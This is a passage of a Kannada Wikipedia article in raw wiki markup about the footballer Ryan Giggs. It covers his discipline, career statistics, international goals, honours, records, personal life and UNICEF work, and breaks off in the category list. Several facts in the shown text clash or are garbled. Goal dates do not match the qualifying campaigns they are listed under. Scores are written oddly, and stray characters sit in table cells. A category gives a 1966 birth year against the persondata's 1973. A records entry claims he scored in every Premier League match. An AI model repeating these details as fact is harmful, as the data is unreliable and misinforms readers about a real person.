Wales"/> ದಕ್ಕಿತು. == ಶಿಸ್ತು == ಗಿಗ್ಸ್ ಪ್ರಾರಂಭಿಕವಾಗಿ ಉತ್ತಮ ನಡತೆಗಾಗಿ ಆತನ ಮೊದಲ ಆಟಗಳಲ್ಲೇ ಆತ ಎಷ್ಟೋ ಮೆಚ್ಚುಗೆಗಳನ್ನು ಪದೆದುಕೊಂಡ. ವಾಸ್ತವಿಕವಾಗಿ [[ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್]] ಗಾಗಿ ಆಡುವಾಗ ಆತನನ್ನು ಎಂದೂ ಹೊರಹಾಕಿರಲಿಲ್ಲ,ಆದರೆ ವೇಲ್ಸ್ ಪರವಾಗಿ ಆಡುವಾಗ ಮಾತ್ರ ಒಮ್ಮೆ ಹೀಗಾಗಿತ್ತು. [[ನಾರ್ವೆ]] ವಿರುದ್ದದ ಅಂತಾರಾಷ್ಟ್ರೀಯ 2001ರಲ್ಲಿನ ಪಂದ್ಯದಲ್ಲಿ ಮಾತ್ರ ಆತ ರೆಡ್ ಕಾರ್ಡ್ ಪಡೆದಿದ್ದ.ಈ ಪಂದ್ಯದಲ್ಲಿ ವೇಲ್ಸ್ ಸೋಲು ಕಂಡಿತ್ತು. ಅರ್ಸೆನಲ್ ನೊಂದಿಗಿನ ಆಟದಲ್ಲಿನ ಆತನ ನಡತೆಯು FA ತಂಡಕ್ಕೆ ಅಶಿಸ್ತಿನ ಆಟಕ್ಕಾಗಿ ನವೆಂಬರ್ 2003ರಲ್ಲಿ ಆತನ ಮೇಲೆ ಆರೋಪ ಹೊರೆಸಲಾಯಿತು. ಅದೇ ವಾರದ ಅವಧಿಯಲ್ಲಿ ಎರಡು ಅಂತಾರಾಷ್ಟ್ರೀಯ ಪಂದ್ಯಗಳಿಂದ ಆತನನ್ನು ಅಮಾನತುಗೊಳಿಸಲಾಯಿತು.ರಷ್ಯದ ಆಟಗಾರ [[ವಾಡಿಮ್ ಎವೆಸೀವ]] ನ ಮುಖಕ್ಕೆ ಆಟದ ಸಂದರ್ಭದಲ್ಲಿ ಮುದ್ದಾಮ ಬಲವಾಗಿ ಹೊಡೆದದ್ದು ಆತನ ಅಪರಾಧವಾಗಿತ್ತು ಈ ಅಪರಾಧವು [[ರೆಫ್ರೀ]]ಯಿಂದ ತಪ್ಪಿತಾದರೂ ನಂತರ ವಿಡಿಯೊ ಸಾಕ್ಷಿ ಆಧಾರದ ಮೂಲಕ ಆತನೆಗೆ ದಂಡ ವಿಧಿಸಲಾಯಿತು. == ಜೀವಮಾನದ ಅಂಕಿಅಂಶಗಳು == {| class="wikitable" style="text-align:center" |- ! rowspan="2"|ಕ್ಲಬ್‌s ! rowspan="2"|ಋತು ! colspan="2"|ಲೀಗ್‌ ಪಂದ್ಯಗಳು ! colspan="2"|[[FA ಕಪ್]] ! colspan="2"|[[ಲೀಗ್ ಕಪ್]] ! colspan="2"|[[ಯುರೋಪ್‌]] ! colspan="2"|ಇತರ<ref>Iಇತರ ಸ್ಪರ್ಧಾತ್ಮಕ ಪೈಪೋಟಿಗಳು,ಅಂದರೆ [[FA ಕಮ್ಯುನಿಟಿ ಶೀಲ್ಡ್]], [[UEFA ಸೂಪರ್ ಕಪ್]], [[ಇಂಟರ್ ಕಾಂಟಿನೆಂಟಲ್ ಕಪ್]], [[FIFA ಕ್ಲಬ್ ವರ್ಲ್ಡ್ ಕಪ್]]</ref> ! colspan="2"|ಒಟ್ಟು |- !ಗರಿಷ್ಟ !ಗೋಲ್ ಗಳು !Apps !ಗೋಲ್ಸ್ !Apps !Goals !Apps !Goals !Apps !Goals !Apps !Goals |- | rowspan="20"|[[ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್]] | [[1990–91]] | 2 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 | 1 |- | [[1991–92]] | 38 | 4 | 3 | 0 | 8 | 3 | 1 | 0 | 1 | 0 | 51 | 7 |- | [[1992–93]] | [41] | 9 | 2 | 2 | 2 | 0 | 1 | 0 | 0 | 0 | 46 | 11 |- | [[1993–94]] | 38 | 13 | 7 | 1 | 8 | 3 | 4 | 0 | 1 | 0 | 58 | 17 |- | [[1994–95]] | 29 | 1 | 7 | 1 | 0 | 0 | 3 | 2 | 1 | 0 | 40 | 4 |- | [[1995–96]] | 33 | 11 | 7 | 1 | 2 | 0 | 2 | 0 | 0 | 0 | 44 | 12 |- | [[1996–97]] | 26 | 3 | 3 | 0 | 0 | 0 | 7 | 2 | 1 | 0 | 37 | 5 |- | [[1997–98]] | 29 | 8 | 2 | 0 | 0 | 0 | 5 | 1 | 1 | 0 | 37 | 9 |- | [[1998–99]] | 24 | 3 | 6 | 2 | 1 | 0 | 9 | 5 | 1 | 0 | [41] | 10 |- | [[1999–2000]] | 30ಜ್ | 6 | colspan="2"|– | 0 | 0 | 11 | 1 | 3 | 0 | 44 | 7 |- | [[2000–01]] | 31 | 5 | 2 | 0 | 0 | 0 | 11 | 2 | 1 | 0 | 45 | 7 |- | [[2001–02]] | 25 | 7 | 1 | 0 | 0 | 0 | 13 | 2 | 1 | 0 | 40 | 9 |- | [[2002–03]] | 36 | 8 | 3 | 2 | 5 | 0 | 15 | 5 | 0 | 0 | 59 | 15 |- | [[2003–04]] | 33 | 7 | 5 | 0 | 0 | 0 | 8 | 1 | 1 | 0 | 47 | 8 |- | [[2004–05]] | 32 | 5 | 4 | 0 | 1 | 1 | 6 | 2 | 1 | 0 | 44 | 8 |- | [[2005–06]] | 27 | 3 | 2 | 1 | 3 | 0 | 5 | 1 | 0 | 0 | 37 | 5 |- | [[2006–07]] | 30ಜ್ | 4 | 6 | 0 | 0 | 0 | 8 | 2 | 0 | 0 | 44 | 6 |- | [[2007–08]] | 31 | 3 | 2 | 0 | 0 | 0 | 9 | 0 | 1 | 1 | 43 | 4 |- | [[2008–09]] | 28 | 2 | 2 | 0 | 4 | 1 | 11 | 1 | 2 | 0 | 47 | 4 |- | [[2009–10]] | 17 | 2 | 1 | 0 | 2 | 1 | 1 | 1 | 1 | 0 | 22 | 4 |- ! colspan="2"|ಒಟ್ಟು !580 !105 !65 !10 !36 !9 !130 !27 !17 !1 !828 !152 |} ''<ref name="clubstats">{{cite web |url=http://www.stretfordend.co.uk/playermenu/giggs.html |title=Ryan Giggs |accessdate=16 January 2010 |last=Endlar |first=Andrew |publisher=StretfordEnd.co.uk }}</ref> ಫೆಬ್ರವರಿ 10,2010ರಲ್ಲಿ ''ಪಂದ್ಯಗಳನ್ನಾಡಿದ ಒಟ್ಟು ಅಂಕಿಅಂಶಗಳ ನಿಖರತೆ'' '' === ಅಂತಾರಾಷ್ಟ್ರೀಯ ಗೋಲ್ಸ್ === {| class="wikitable" ! # ! ದಿನಾಂಕ ! ತಾಣ ! ವಿರುದ್ಧ ತಂಡ ! ಸ್ಕೋರು ! ಫಲಿತಾಂಶ ! ಸ್ಪರ್ಧೆ |- | 1 | 13 ಮಾರ್ಚ್ 2005 | [[ಕಾರ್ಡಿಫ್]] , ವೇಲ್ಸ್ | {{fb|BEL}} | 2–0 | ಜಯ | [[ವರ್ಲ್ಡ್ ಕಪ್ 1994 ಕ್ವಾಲಿಫಾಯಿಂಗ್]] |- | 2 | 8 ಸೆಪ್ಟೆಂಬರ್ 1993 | [[ಕಾರ್ದಿಫ್]] , ವೇಲ್ಸ್ | {{fb|CZE}} | 2-2 | ಡ್ರಾ | [[ವರ್ಲ್ಡ್ ಕಪ್ 1994 ಕ್ವಾಲಿಫಾಯಿಂಗ್]] |- | 3 | 7 ಸೆಪ್ಟೈಂಬರ್ 1994 | [[ಕಾರ್ಡಿಫ್]] , ವೇಲ್ಸ್ | {{fb|ALB}} | 2–0 | ಜಯ | [[UEFA ಯುರೊ 1996 ಕ್ವಾಲಿಫಾಯಿಂಗ್]] |- | 4 | 12 ಜೂನ್‌ 2002 | [[ಸೆರೆವಲ್ಲೆ]] , ಸ್ಯಾನ್ ಮಾರಿನೊ | {{fb|SMR}} | 5–0 | ಜಯ | [[ವರ್ಲ್ಡ್ ಕಪ್ 1998 ಕ್ವಾಲಿಫಾಯಿಂಗ್]] |- | 5 | 11 ಬ್ನವೆಂಬರ್ 1997 | [[ಬ್ರುಸೆಲ್ಸ್]] , ಬೆಲ್ಜಿಯಮ್ | {{fb|BEL}} | 2/3 | ನಷ್ಟ | [[ವರ್ಲ್ಡ್ ಕಪ್ 1998 ಕ್ವಾಲಿಫಾಯಿಂಗ್]] |- | 6 | 4 ಸೆಪ್ಟೆಂಬರ್ 1999 | [[ಮಿನ್ಸಂಕ್]] , ಬೆಲ್ಸರಸ್ | {{fb|BLR}} | 2-1 | ಜಯ | [[UEFA ಯುರೊ 2000 ಕ್ವಾಲಿಫಾಯಿಂಗ್]] |- | 7 | 13 ಮಾರ್ಚ್ 2005 | [[ಕಾರ್ಡಿಫ್]] , ವೇಲ್ಸ್ | {{fb|FIN}} | 1/2 | ಲಾಸ್ | [[ಸೌಹಾರ್ದ]] |- | 8 | 13 ಮಾರ್ಚ್ 2005 | [[ಕಾರ್ಡಿಫ್]], ವೇಲ್ಸ್ | {{fb|AZE}} | 4–0 | ಜಯ | [[UEFA ಯುರೊ 2004 ಕ್ವಾಲಿಫಾಯಿಂಗ್]] |- | 9 | 7 ಅಕ್ಟೋಬರ‍್ 2005 | [[ಬೆಲ್ ಫಾಸ್ಟ್]] , ನಾರ್ದರ್ನ್ ಐರ್ಲೆಂಡ್ | {{fb|NIR}} | 3–2 | ಜಯ | [[ವರ್ಲ್ಡ್ ಕಪ್ 2006 ಕ್ವಾಲಿಫಾಯಿಂಗ್]] |- | 10 | 7 ಅಕ್ಟೋಬರ‍್ 2005 | [[ಕಾರ್ಡಿಫ್]] , ವೇಲ್ಸ್ | {{fb|AZE}} | 2–0 | ಜಯ | [[ವರ್ಲ್ಡ್ ಕಪ್ 2006 ಕ್ವಾಲಿಫಾಯಿಂಗ್]] |- | 11 | 7 ಅಕ್ಟೋಬರ‍್ 2005 | [[ಕಾರ್ಡಿಫ್]] , ವೇಲ್ಸ್ | {{fb|AZE}} | 2–0 | ಜಯ | [[ವರ್ಲ್ಡ್ ಕಪ್ 2006 ಕ್ವಾಲಿಫಾಯಿಂಗ್]] |- | # | 24 ಮೇ 2003 | [[ಬಿಲ್ಬಾವೊ]], ಸ್ಪೇನ್ | {{fb|Basque Country}} | 1/0 | ಜಯ | [[FIFA-ರಹಿತ]] ಸ್ನೇಹಪರ ಪ್ರತಿನಿಧಿ |- | 12 | 13 ಮಾರ್ಚ್ 2005 | [[Cardiff]], Wales | {{fb|SMR}} | 3.0 | ಜಯ | [[UEFA ಯುರೊ 2008 ಕ್ವಾಲಿಫಾಯಿಂಗ್]] |} == ಗೌರವ ಪ್ರಶಸ್ತಿಗಳು == ==== ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್ ==== * [[ಪ್ರಿಮಿಯರ್ ಲೀಗ್]] (11): [[1992–93]], [[1993–94]], [[1995–96]], [[1996–97]], [[1998–99]], [[1999–2000]], [[2000–01]], [[2002–03]], [[2006–07]], [[2007–08]], [[2008–09]] * [[FA ಕಪ್]] (4): [[1993–94]], [[1995–96]], [[1998–99]], [[2003–04]] * [[ಫೂಟ್ಬಾಲ್ ಲೀಗ್ ಕಪ್]] (3): [[1991–92]], [[2005–06]], [[2008–09]] * [[FA ಕಮ್ಯುನಿಟಿ ಶೀಲ್ಡ್]] (7): [[1993]], [[1994]], [[1996]], [[1997]], [[2003]], [[2007]], [[2008]] * [[UEFA ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್]] (2): [[1998–99]], [[2007–08]] * [[UEFA ಸೂಪರ್ ಕಪ್]] (1): [[1991]] * [[ಇಂಟರ್ ಕಾಂಟಿನಲ್ ಕಪ್]] (1): [[1999]] * [[FIFA ಕ್ಲಬ್ ನ ವಿಶ್ವ ಕಪ್]] (1): [[2008]] ==== ವೈಯಕ್ತಿಕ ಸಾಧನೆ ==== * BBC ವರ್ಷದ ಕ್ರೀಡಾ ವ್ಯಕ್ತಿ ಪ್ರಶಸ್ತಿ ವಿಜೇತರು * [[PFA ದ ವರ್ಷದ ಆಟಗಾರ]] : 2009 * [[PFA ದ ಅತ್ಯಂತ ಕಿರಿಯ ವಾರ್ಷಿಕ ಆಟಗಾರ]] : 1992, 1993 * [[ಬ್ರೇವೊ ಅವಾರ್ಡ್]]: 1993 * BBC ಯ ವೇಲ್ಸ್ ನ ಕ್ರೀಡಾಳುವಿನ ವೈಯಕ್ತಿಕ ಪ್ರಶಸ್ತಿ(0}: 1996, 2009 * ಒಟ್ಟಾರೆ ಆ ದಶಕದ ತಂಡ – [[ಪ್ರಿಮಿಯರ್ ಲೀಗ್ 10 ಋತುವಿನ ಪ್ರಶಸ್ತಿಗಳು]] (1992–93 to 2001–02) * ವೇಲ್ಸ್ ನ ವಾರ್ಷಿಕ ಕ್ರೀಡಾಪಟುವಿಗಾಗಿ ಇರುವ ಪ್ರಶಸ್ತಿ :2006 * [[FA ಪ್ರಿಮಿಯರ್ ಲೀಗ್ ನ ಮಾಸಿಕ ತಂಡ]] : ಸೆಪ್ಟೆಂಬರ್ 1993, ಆಗಷ್ಟ್ 2006, ಫೆಬ್ರವರಿ 2007 * PFA ದ ಶತಮಾನದ ತಂಡ: 2007<ref name="givemefootball2"/> * [[PFA ದ ವಾರ್ಷಿಕ ತಂಡ]] : 1993, 1994, 1995, 1996, 1998, 2001, 2007, 2009 * [[ಆಯಾ ಪಂದ್ಯಾವಳಿಗಳಲ್ಲಿನ ಗೋಲ್]]: 1999 * [[ಇಂಗ್ಲಿಷ್ ಫೂಟ್ಬಾಲ್ ಹಾಲ್ ಆಫ್ ಫೇಮ್]]: 2005ರಲ್ಲಿ ಸೇರಿದ್ದು. ==== ಅದೇಶಗಳು ಮತ್ತು ವಿಶೇಷ ಪ್ರಶಸ್ತಿಗಳು ==== * [[OBE]]ಫೂಟ್ಬಾಲ್ ಕ್ಷೇತ್ರದಲ್ಲಿನ ಸೇವೆಗಾಗಿ: 2007<ref name="bbc_obe"/> * ಫೂಟ್ಬಾಲ್ ನಲ್ಲಿ ವಿಶ್ವ ವಿಖ್ಯಾತಿ ಮತ್ತು ದತ್ತಿನಿಧಿಯಾಗಿ ಅಭಿವೃದ್ಧಿ ಹೊಂದಿದ್ದ ದೇಶಗಳಲ್ಲಿ ಪ್ರಚಾರಾಂದೋಲನದ ಪ್ರಯುಕ್ತ [[ಸಾಲ್ ಫೊರ್ಡ್ ವಿಶ್ವ ವಿದ್ಯಾಲಯ]]ದಿಂದ [[ಮಾಸ್ಟರ್ ಆಫ್ ಆರ್ಟ್ಸ್]] ಪದವಿ <ref>[http://news.bbc.co.uk/1/hi/england/manchester/7508195.stm ಗಿಗ್ಸ್ ಗೆ ಗೌರವ ಪದವಿ ನೀಡಿದ್ದು] BBC, (15 July 2008). 15 ಜುಲೈ2008ರಂದು ಪುನಪಡೆದಿದ್ದು.</ref> ಪ್ರದಾನ.2008. * [[ಫ್ರೀಡಮ್ ಆಫ್ ದಿ ಸಿಟಿ ಆಫ್ ಸಾಲ್ ಫೊರ್ಡ್]]: 2010.<ref name="Giggs awarded freedom of Salford">{{cite news |title=Giggs awarded freedom of Salford |url=http://news.bbc.co.uk/1/hi/england/manchester/8446775.stm |work=BBC News |publisher=British Broadcasting Corporation |date=7 January 2010 |accessdate=7 January 2010 }}</ref> == ದಾಖಲೆಗಳು == * ಎಲ್ಲಾ ಹನ್ನೊಂದು ಪ್ರಿಮಿಯರ್ ಲೀಗ್ ನ ಗೆದ್ದ ತಂಡಗಳಲ್ಲಿ ಆಡಿದ ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್ ತಂಡದಲ್ಲಿ ಆಡಿದ ಓರ್ವನೆ ಆಟಗಾರ.ಅದೂ ಅಲ್ಲದೇ 11 ಲೀಗ್ ಪ್ರಶಸ್ತಿಯ ಗರಿ ಮುಡಿಗೇರಿಸಿದ್ದ ಆಟಗಾರ. * ಮೂರೂ ಲೀಗ್ ಕಪ್ ಗೆಲುವು ಪಡೆದ ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್ ತಂಡದ ಏಕೈಕ ಆಟಗಾರ. * ಹದಿನಾಲ್ಕು ವಿವಿಧ ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್ ಟೂರ್ನಾಮೆಂಟ್ ಗಳಲ್ಲಿ ಕೇವಲ ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೈಡ್ ಗಾಗಿ ಆಡಿದ ಕ್ರೀಡಾಪಟು ಎಂಬ ಹೆಗ್ಗಳಿಕೆಯು ಇದೆ. * ಸುಮಾರು ಹನ್ನೊಂದು ಸತತ ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್ ನ ಟೂರ್ನಾಮೆಂಟ್ ನಲ್ಲಿ ([[1996–97]] ಯಿಂದ[[2006–07]])ರ ವರೆಗೆ ಗೋಲು ಬಾರಿಸಿದ ಏಕೈಕ ಆಟಗಾರ: * ಪ್ರಿಮಿಯರ್ ಲೀಗ್ ನ ಎಲ್ಲಾ ಋತುವಿನ ಪಂದ್ಯಗಳಲ್ಲಿ ಅದರ ಸ್ಥಾಪನೆಯಾದಾಗಿನಿಂದ [[ಡೇವಿಡ್ ಜೇಮ್ಸ್]] ಮತು [[ಸೊಲ್ ಕ್ಯಾಂಪ್ ಬೆಲ್]] ಜೊತೆ ಪ್ರತಿ ಪಂದ್ಯದಲ್ಲೂ ಆಡಿದ್ದು. ಒಂದೇ ಕ್ಲಬ್ ಗಾಗಿ ಆಟವಾಡಿದ ಏಕೈಕ ವ್ಯಕ್ತಿ ಎಂದರೆ ಗಿಗ್ಸ್ ಒಬ್ಬನೆ. * ಪ್ರಿಮಿಯರ್ ಲೀಗ್ ನ ಆರಂಭದಿಂದಲೂ ಪ್ರತಿ ಪಂದ್ಯದಲ್ಲೂ ಗೋಲು ಬಾರಿಸಿದ್ದು. * ಸಿಂಗಲ್ ಕ್ಲಬ್ ಗಾಗಿ ಪ್ರಿಮಿಯರ್ ಲೀಗ್ ಆಟದಲ್ಲಿ ಎರಡನೆಯ ಮಿಡ್ ಫೀಲ್ದರ್ ಆಗಿ 100 ಗೋಲು ಬಾರಿಸಿದ್ದು,(ಮೊದಲನೆಯದವರೆಂದರೆ [[ಮ್ಯಾಟ್ ಲೆ ಟಿಸ್ಸಿಯರ್]] ) * [[ಹೆಚ್ಚಾಗಿ ಕಾಣಿಸಿದ್ದು]] ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್ ಆಟಗಾರನಾಗಿ == ವೈಯಕ್ತಿಕ ಜೀವನ == ಗಿಗ್ಸ್ ಹಲವಾರು ಜಾಹಿರಾತುಗಳಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡ,ಉದಾಹರಣೆಗೆ, [[ರೀಬೊಕ್]] ,[[ಸೊವಿಲ್ ಟೈಟಸ್]] ,[[ಸಿಟಿಜನ್ ವಾಚಿಸ್]] ,[[ಗಿವೆಂಚಿ]], [[ಫುಜಿ]],[[ಪಾಟೆಕ್ ಫಿಲಿಪ್ಸ್]] ,[[ಕ್ವೆರ್ನ್]] ಬರ್ಗರ್ಸ್ ,[[ITV ಡಿಜಿಟಲ್]] ಮತ್ತು [[ಸೆಲ್ಕೊಮ್]] . [[BBC ಕ್ರೀಡಾ]] ಲೇಖನದ ಪ್ರಕಾರ:"ಆರಂಭಿಕ 1990ರಲ್ಲಿ ಗಿಗ್ಸ್ ನು ಒಂದರ್ಥದಲ್ಲಿ [[ಡೇವಿಡ್ ಬೆಕ್ ಹ್ಯಾಮ]],ಅಂದರೆ ಬೆಕ್ ಹ್ಯಾಮ್ ಯುನೈಟೆಡ್ ತಂಡದಲ್ಲಿ ಸ್ಥಾನ ಗಿಟ್ಟಿಸುವ ಮೊದಲೇ ಈತ ಖ್ಯಾತನಾಗಿದ್ದ". ನೀವು ನಿಮ್ಮ ಫೂಟ್ಬಾಲ್ ಪತ್ರಿಕೆಯ ಮುಖಪುಟದಲ್ಲಿ ಆತನ ಚಿತ್ರ ಹಾಕಿದರೆ ಆ ವರ್ಷ ನಿಮಗೆ ಪತ್ರಿಕೆಗಳ ಬಂಪರ್ ಮಾರಾಟವೇ ಸರಿ! ಯಾಕೆ? ಪುರುಷರು ಅದರಲ್ಲಿನ "ಹೊಸತನದ ಉತ್ತಮತೆ"ಕಾಣಲು ಅದನ್ನು ಕೊಂಡರೆ ಮಹಿಳೆಯರು ಆತನ ಮುಖವನ್ನು ಯಾವಾಗಲೂ ನೋಡುವ ಆಸೆಯಿಂದ ತಮ್ಮ ಮಲಗುವ ಕೊಠಡಿಗಳ ಗೋಡೆಗಳ ಮೇಲೆ ಅಂಟಿಸುತ್ತಿದ್ದರು. ಗಿಗ್ಸ್ ನಿಗೆ [[ರೀಬೊಕ್]] ನ ದಶಲಕ್ಷ ಪೌಂಡ್ ನ ಬೂಟ್ ವ್ಯವಹಾರವಿದೆ;ಪೂರ್ವಭಾಗದಲ್ಲಿ ಅತ್ಯಧಿಕ ಪ್ರಾಯೋಜಕ ಯೋಜನೆಗಳಿವೆ,[[ಫುಜಿ]] ಮತ್ತು ಆತನ ಗೆಳತಿಯರಾದ [[ಡಾನಿ ಬೆಹರ್]] ,[[ಡೇವಿನಾ ಟೇಲರ್]] ಜೊತೆ ಆತನ ವಹಿವಾಟುಗಳ ನಡೆದವು;ಹೀಗೆ ಆತನನ್ನು ಬೆಕ್ ಮನ್ ನು[[ಪ್ರೆಸ್ಟನ್ ನಾರ್ತ್ ಎಂಡ್]] "ಗೆ ಕಳಿಸಿದ ನಂತರ ಮತ್ತೆ ಆತ ಅತ್ಯುತ್ತಮ ಪ್ರಭಾವಿ ಆಟಗಾರ <ref>{{cite news |first=Andrew |last=Benson |title=Ryan Giggs in a league of his own |url=http://news.bbc.co.uk/sport1/hi/football/teams/m/man_utd/6376845.stm |publisher=BBC Sport |date=1 March 2007 |accessdate=28 October 2007 }}</ref> ಎನಿಸಿಕೊಂಡ. ಗಿಗ್ಸ್ ನ ಬಹುಕಾಲದ ಗೆಳತಿ ಸ್ಟೇಸಿ ಕುಕ್ ಳನ್ನು ಆತ ಸೆಪ್ಟೆಂಬರ್ 7,2007ರಲ್ಲಿ ಒಂದು ಖಾಸಗಿ ಸಮಾರಂಭದಲ್ಲಿ <ref>{{cite news |title=Ryan meets his match |url=http://www.manutd.com/default.sps?pagegid=%7BB4CEE8FA%2D9A47%2D47BC%2DB069%2D3F7A2F35DB70%7D&newsid=469415 |publisher=ManUtd.com |date=7 September 2007 |accessdate=8 September 2007 }}</ref> ಮದುವೆಯಾದ. ಅವರಿಗೆ ಇಬ್ಬರು ಮಕ್ಕಳು ಇವರಿಬ್ಬರೂ [[ಸಾಲ್ ಫೊರ್ಡ್]] ನಲ್ಲಿ ಜನಿಸಿದ್ದಾರೆ:ಲಿಬರ್ಟಿ ಬೆಯೊ (ಅಂದರೆ ಲಿಬ್ಬಿ ಜನಿಸಿದ್ದು 2003)ಮತ್ತು ಝಕ್ ಜೊಸೆಫ್ (ಹುಟ್ಟಿದ್ದು 2006);ಇವರು ಸಾಲ್ ಫೊರ್ಡ್ ನ [[ವರ್ಸ್ಲೆ]]ಯಲ್ಲಿ <ref>[http://www.findmypast.com/BirthsMarriagesDeaths.jsp ಬರ್ಥ್ಸ್ ಇಂಗ್ಲೆಂಡ್ ಮತ್ತು ವೇಲ್ಸ್ 1984-2006]</ref><ref>{{cite news| url=http://news.bbc.co.uk/sport2/hi/football/teams/m/man_utd/6376845.stm| title=Ryan Giggs in a league of his own| publisher=BBC Sport| date=1 March 2007| accessdate=28 August 2008}}</ref> ವಾಸಿಸುತ್ತಿದ್ದಾರೆ. [[ಫ್ರೀಡಮ್ ಆಫ್ ದಿ ಸಿಟಿ ಆಫ್ ಸಲ್ಫೊರ್ಡ್]].<ref name="Giggs awarded freedom of Salford"/> ಪ್ರಶಸ್ತಿ ಪಡೆಯುವರಲ್ಲಿ ಗಿಗ್ಸ್ 22ನೆಯ ವ್ಯಕ್ತಿಯಾಗಿದ್ದಾನೆಂದು ಜನವರಿ 7ರ 2010 ವರ್ಷದ ದಾಖಲೆ ತೋರಿಸುತ್ತದೆ. === ಪ್ರಚಾರಕ === ಇತ್ತೀಚಿನ ದಿನಗಳಲ್ಲಿ ಗಿಗ್ಸ್ [[UNICEF]]ನ ಪ್ರತಿನಿಧಿಯಾಗಿದ್ದಾನೆ,[[ಭೂಗರ್ಭದಲ್ಲಿ ಸ್ಪೋಟಕ]]ಗಳನ್ನಿಟ್ಟು ಮಕ್ಕಳ ಸಾವಿಗೆ ಕಾರಣವಾಗುವ ಘಟನೆಗಳ ವಿರುದ್ದ ಆತ 2002ರಲ್ಲಿನ ಇದರ ವಿರುದ್ದದ ಆಂದೋಲನದಲ್ಲಿ ಪಾಲ್ಗೊಂಡಿದ್ದಾನೆ. ಗಿಗ್ಸ್ [[ಥೈಲೈಂಡಿ]]ನಲ್ಲಿರುವ UNICEF ಯೋಜನಾ ಸ್ಥಳಗಳಿಗೆ ಭೇಟಿ ನೀಡಿದ ನಂತರ[[BBC]]ಗೆ ಹೀಗೆ ಹೇಳಿದ:"ನಾನೊಬ್ಬ ಫೂಟ್ಬಾಲ್ ಆಟಗಾರನಾಗಿ ನಾನು ನನ್ನ ಕಾಲುಗಳಿಲ್ಲದೇ ಆಡುವುದನ್ನು ನೆನಪಿಸಿಕೊಳ್ಳಲೂ ಸಾಧ್ಯವಿಲ್ಲ"... ಇದು ಆಕಸ್ಮಿಕವಾಗಿ ಸಾವಿರಾರು ಮಕ್ಕಳಿಗೆ ಉಂಟಾಗುವ ದುರಂತ ಯಾವಾಗ ಅವರು ಸ್ಪೋಟಕಗಳನ್ನಿಟ್ಟ ಪ್ರದೇಶದ ಮೇಲೆ ಕಾಲಿಡುತ್ತಾರೋ ಅದಕ್ಕೆ ಅವರು <ref>{{cite web |title=Ryan Giggs speaks to Unicef |url=http://www.unicef.org/football/players/ |accessdate=13 April 2008 |archive-date=11 ಏಪ್ರಿಲ್ 2008 |archive-url=https://web.archive.org/web/20080411174048/http://www.unicef.org/football/players/ |url-status=dead }}</ref> ಈಡಾಗುತ್ತಾರೆ." == ಆಕರಗಳು == {{reflist|2}} == ಹೊರಗಿನ ಕೊಂಡಿಗಳು == {{commonscat}} * [http://www.sporting-heroes.net/football-heroes/searchresults.asp?ButtonLeap=0&amp;countryLinkDescription=+matching+search+results&amp;FootballHeroName=giggs&amp;FootballHeroClubCountry=&amp;FootballHeroDecade=Select+One&amp;SearchButton=Search ಛಾಯಾಚಿತ್ರಗಳು &amp; ಅಂಕಿಸಂಖ್ಯೆ at www.sporting-heroes.net] * {{FIFA player|95299}} * {{soccerbase|2856|Ryan Giggs}} * [http://www.footballdatabase.com/site/players/index.php?dumpPlayer=497 ಫೂಟ್ಬಾಲ್ ಅಂಕಿಅಂಶಗಳು ಗಿಗ್ಸ್ ನ ಸಂಪೂರ್ಣ ಮಾಹಿತಿ ಮತ್ತು ದತ್ತಾಂಶವನ್ನು ಒದಗಿಸುತ್ತದೆ] * [http://www.manutd.com/default.sps?pagegid={FE60904B-C2A8-4E60-9B05-700DBBC29BBC}&amp;section=playerProfile&amp;teamid=&amp;bioid=91965 Manchester United Official Website Biography] * [http://www.nationalfootballmuseum.com/halloffame.htm ದಿ ನ್ಯಾಶನಲ್ ಫೂಟ್ಬಾಲ್ ಮ್ಯೂಸಿಯಮ್ ಹಾಲ್ ಆಫ್ ಫೇಮ್] {{Webarchive|url=https://web.archive.org/web/20070811001406/http://www.nationalfootballmuseum.com/halloffame.htm |date=2007-08-11 }} * [http://www.icons.com/giggs/ ರಿಯಾನ್ ಗಿಗ್ಸ್ ನ ಅಧಿಕೃತ ವೆಬ್ ಸೈಟ್] {{Webarchive|url=https://web.archive.org/web/20071111014658/http://www.icons.com/giggs/ |date=2007-11-11 }} at [[Icons.com]] * [http://news.bbc.co.uk/sport1/hi/football/teams/m/man_utd/6376845.stm ಗಿಗ್ಸ್ ನ BBC ಪ್ರೊಫೈಲ್] {{start box}} {{s-ach|aw}} {{succession box|title=[[BBC Wales Sports Personality of the Year]] |before=[[Neville Southall]] |after=[[Scott Gibbs]] |years=1996}} {{succession box|title=[[BBC Wales Sports Personality of the Year]] |before=[[Shane Williams]] |after=Incumbent |years=2009}} {{succession box |title=[[Manchester United F.C.]] vice-captain |before=[[Gary Neville]] |after=Incumbent |years=2005– }} {{end box}} {{PFA Players' Player of the Year}} {{PFA Young Player of the Year}} {{BBC Sports Personality of the Year winners}} {{Bravo award winners}} {{Manchester United F.C. squad}} {{Persondata |NAME= Giggs, Ryan Joseph |ALTERNATIVE NAMES= |SHORT DESCRIPTION= Welsh footballer |DATE OF BIRTH= 29 November 1973 |PLACE OF BIRTH= [[Cardiff]], Wales |DATE OF DEATH= |PLACE OF DEATH= }} {{DEFAULTSORT:Giggs, Ryan}} [[ವರ್ಗ:1966ರಲ್ಲಿ ಜನಿಸಿದವರು]] [[ವರ್ಗ:ಈಗಿರುವ ವ್ಯಕ್ತಿಗಳು]] [[ವರ್ಗ:BBC ವರ್ಷದ ಕ್ರೀಡಾ ವ್ಯಕ್ತಿ ಪ್ರಶಸ್ತಿ ವಿಜೇತರು]] [[ವರ್ಗ:BBC ಯ ಆ ವರ್ಷದ ವೇಲ್ಸ್ ಕ್ರೀಡಾ ವ್ಯಕ್ತಿ]] [[ವರ್ಗ:ಸಿಯೆರಾ ಲೆನೊಯಿನ್ ಸಮೂದಾಯದ 